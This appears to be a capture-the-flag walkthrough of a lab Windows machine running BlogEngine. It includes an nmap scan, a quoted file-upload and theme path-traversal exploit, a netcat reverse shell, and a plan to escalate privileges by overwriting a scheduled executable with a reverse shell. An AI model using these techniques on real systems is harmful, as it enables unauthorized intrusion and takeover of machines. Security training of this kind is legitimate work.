Bruteforce a websites login with Hydra, identify and use a public exploit then escalate your privileges on this Windows machine!
Scanning
Nmap
root@ip-10-10-168-173:~# nmap -A -T4 10.10.134.173
Starting Nmap 7.60 ( https://nmap.org ) at 2021-09-22 10:57 BST
Nmap scan report for ip-10-10-134-173.eu-west-1.compute.internal (10.10.134.173)
Host is up (0.00063s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Potentially risky methods: TRACE
| http-robots.txt: 6 disallowed entries
| /Account/*.* /search /search.aspx /error404.aspx
|_/archive /archive.aspx
|_http-server-header: Microsoft-IIS/8.5
|_http-title: hackpark | hackpark amusements
3389/tcp open ssl Microsoft SChannel TLS
. . .
[SNIP]
. . .
Running (JUST GUESSING): Microsoft Windows 2012 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2012 (89%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE
HOP RTT ADDRESS
1 0.63 ms ip-10-10-134-173.eu-west-1.compute.internal (10.10.134.173)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.99 seconds
Attack:
First, we set the TcpClient address and port within the method below to
our attack host, who has a reverse tcp listener waiting for a connection.
Next, we upload this file through the file manager. In the current (3.3.6)
version of BlogEngine, this is done by editing a post and clicking on the
icon that looks like an open file in the toolbar. Note that this file must
be uploaded as PostView.ascx. Once uploaded, the file will be in the
/App_Data/files directory off of the document root. The admin page that
allows upload is:
http://10.10.10.10/admin/app/editor/editpost.cshtml
Finally, the vulnerability is triggered by accessing the base URL for the
blog with a theme override specified like so:
http://10.10.10.10/?theme=../../App_Data/files
Let’s follow the instructions:
Start by modifying the script so that we report the correct value for IP and port.
$ rlwrap nc -nlvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.79.198.
Ncat: Connection from 10.10.79.198:56475.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
whoami
c:\windows\system32\inetsrv>whoami
iis apppool\blog
Windows Privilege Escalation
Enumerate running services
C:\> net start
OR
C:\> sc queryex type=service state=all | find /i "SERVICE_NAME:"
WindowsScheduler.exe looks interesting
check it's privilege
running localSystem Priv ...
C:\> cd "c:\program files (x86)"
C:\> dir
Common Files
Internet Explorer
Microsoft.NET
SystemScheduler
Uninstall Information
Windows Mail
Windows NT
WindowsPowerShell
desktop.ini
C:\> cd SystemScheduler
C:\> ls
Events
Forum.url
License.txt
LogFile.txt
LogfileAdvanced.txt
Message.exe
PlaySound.exe
PlayWAV.exe
Preferences.ini
Privilege.exe
ReadMe.txt
RunNow.exe
SSAdmin.exe
SSCmd.exe
SSMail.exe
Scheduler.exe
SendKeysHelper.exe
ShowXY.exe
ShutdownGUI.exe
WSCHEDULER.CHM
WSCHEDULER.HLP
WSCtrl.exe
WSLogon.exe
WSProc.dll
WScheduler.cnt
WScheduler.exe
WService.exe
Website.url
WhoAmI.exe
alarmclock.ico
clock.ico
ding.wav
libeay32.dll
sc32.exe
schedule.ico
ssleay32.dll
unins000.dat
unins000.exe
whiteclock.ico
C:\> cd events
C:\> ls
20198415519.INI
20198415519.INI_LOG.txt
Administrator.flg
SYSTEM_svc.flg
Scheduler.flg
SessionInfo.flg
service.flg
C:\> type 20198415519.INI_LOG.txt
08/04/19 16:44:05,Process Ended. PID:2228,ExitCode:1,Message.exe (Administrator)
08/04/19 16:45:00,Event Started Ok, (Administrator)
08/04/19 16:45:20,Process Ended. PID:2640,ExitCode:1,Message.exe (Administrator)
08/04/19 16:46:00,Event Started Ok, (Administrator)
08/04/19 16:46:03,Process Ended. PID:2912,ExitCode:1,Message.exe (Administrator)
08/04/19 16:47:00,Event Started Ok, (Administrator)
Message.exe running every 30 second lets overwrite it with reverse shell